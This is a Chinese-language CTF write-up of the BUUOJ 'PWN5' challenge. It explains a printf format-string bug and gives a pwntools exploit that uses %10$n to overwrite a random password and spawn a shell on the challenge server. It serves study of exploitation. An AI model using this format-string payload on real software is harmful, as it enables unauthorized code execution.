我要学pwn.day8

[第五空间2019 决赛]PWN5

潜心修炼,从基础开始

据说是基础的格式化字符串漏洞

ps:一个’%10$n’百度了半小时,终于看清楚了,是将成功输入字符串的个数,不是字符串!!!

占位符作用
%p以16进制输出指针的值(地址)
%x输出16进制值(与%p有区别)
%s输出字符串值
%d输出10进制整数
%n占位符前面成功输入的字符个数写入变量中

解题流程

1.查看文件
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a8aa744920dda62e84d44fcc440c05f31c4c23d, stripped
2.查看保护
$ checksec pwn
[*] '/home/ctf/Downloads/pwnexercise/pwn5/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

保护开了3个,一下子把我吓到了

然而并没有什么卵用

3.IDA反编译
int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

直接看到了system(’/bin/sh’),只要绕过if ( atoi(nptr) == dword_804C044 )就可以,同时发现 printf(buf);存在格式化字符串漏洞

百度了一下atoi:C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。

4.探测格式化字符串
$ ./pwn
your name:AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Hello,AAAA.ff820a68.63.0.0.3.f7f90950.c2.0.c30000.41414141.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825
�your passwd:a
fail

发现偏移量为10,那么可以直接使用%10$x再测试一下

$ ./pwn
your name:BBBB.%10$x
Hello,BBBB.42424242
�your passwd:a
fail
5.编写EXP
# -*- coding:utf-8 -*-
#! /usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")
# context.log_level="debug"

local = 1
elf = ELF('./pwn')

if local:
    pro = process('./pwn')
else:
    pro = remote('node4.buuoj.cn', 29328)


def get_shell():
    passwd_addr = 0x0804C044
    payload = p32(passwd_addr)+b'%10$n#'+b'%9$x#'b'%10$x#'+b'%11$x'

    pro.sendlineafter('name:',payload)
    a=pro.recvuntil("your")
    print(a)
    pro.sendlineafter('passwd','4')

    pro.interactive()


if __name__ == '__main__':
    get_shell()

我理解的漏洞利用链是这样的:先将0x0804C044写入偏移量10的位置,然后利用%n的作用将成功写入的字符的个数写入偏移量10中,由于现在的偏移量10的这个位置存储的是0x0804C044,从而实现了覆盖0x0804C044。
–以上为个人浅见,请批评指正–

6.获得flag
$ python3 pwn5Exp.py 
[*] '/home/ctf/Downloads/pwnexercise/pwn5/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to node4.buuoj.cn on port 29328: Done
b'Hello,D\xc0\x04\x08#ffc7ed3c#804c044#24303125\nyour'
[*] Switching to interactive mode
:ok!!
$ cat flag
flag{8ccc6011-c53b-4e78-b2b0-5dec2611f631}
$ 
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 29328

打完收工

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值